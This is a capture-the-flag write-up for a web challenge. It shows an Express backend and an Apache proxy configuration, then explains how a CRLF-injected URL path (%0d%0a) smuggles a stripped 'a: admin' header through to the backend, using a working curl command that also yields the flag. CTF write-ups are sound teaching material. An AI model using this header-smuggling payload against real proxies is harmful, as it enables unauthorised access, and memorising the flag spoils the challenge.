Willy Wonka Web - author: legoclones - web

WriteUp: ap10

Here are the two files provided:

server.js:

// imports
const express = require('express');
const fs = require('fs');

// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000

// endpoints
app.get('/', async (req, res) => {
    if (req.header('a') && req.header('a') === 'admin') {
        return res.send(FLAG);
    }
    return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});

// start server
app.listen(PORT, async () => {
    console.log(`Listening on ${PORT}`)
});

httpd.conf:

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"

    RequestHeader unset A
    RequestHeader unset a

</VirtualHost>

We notice that the flag is returned only when the request header a equals "admin". However, the Apache configuration explicitly removes the a header before forwarding.

To bypass this, we inject a carriage return and newline (%0d%0a) into the URL path so that Apache’s header removal doesn’t catch our custom header. By embedding \r\n before our a: admin header, it arrives intact at the backend.

Here is the curl command we used to retrieve the flag:

$ curl "https://wonka.chal.cyberjousting.com/name/%0d%0aa:admin%0d%0ax:"

This returns:

byuctf{i_never_liked_w1lly_wonka}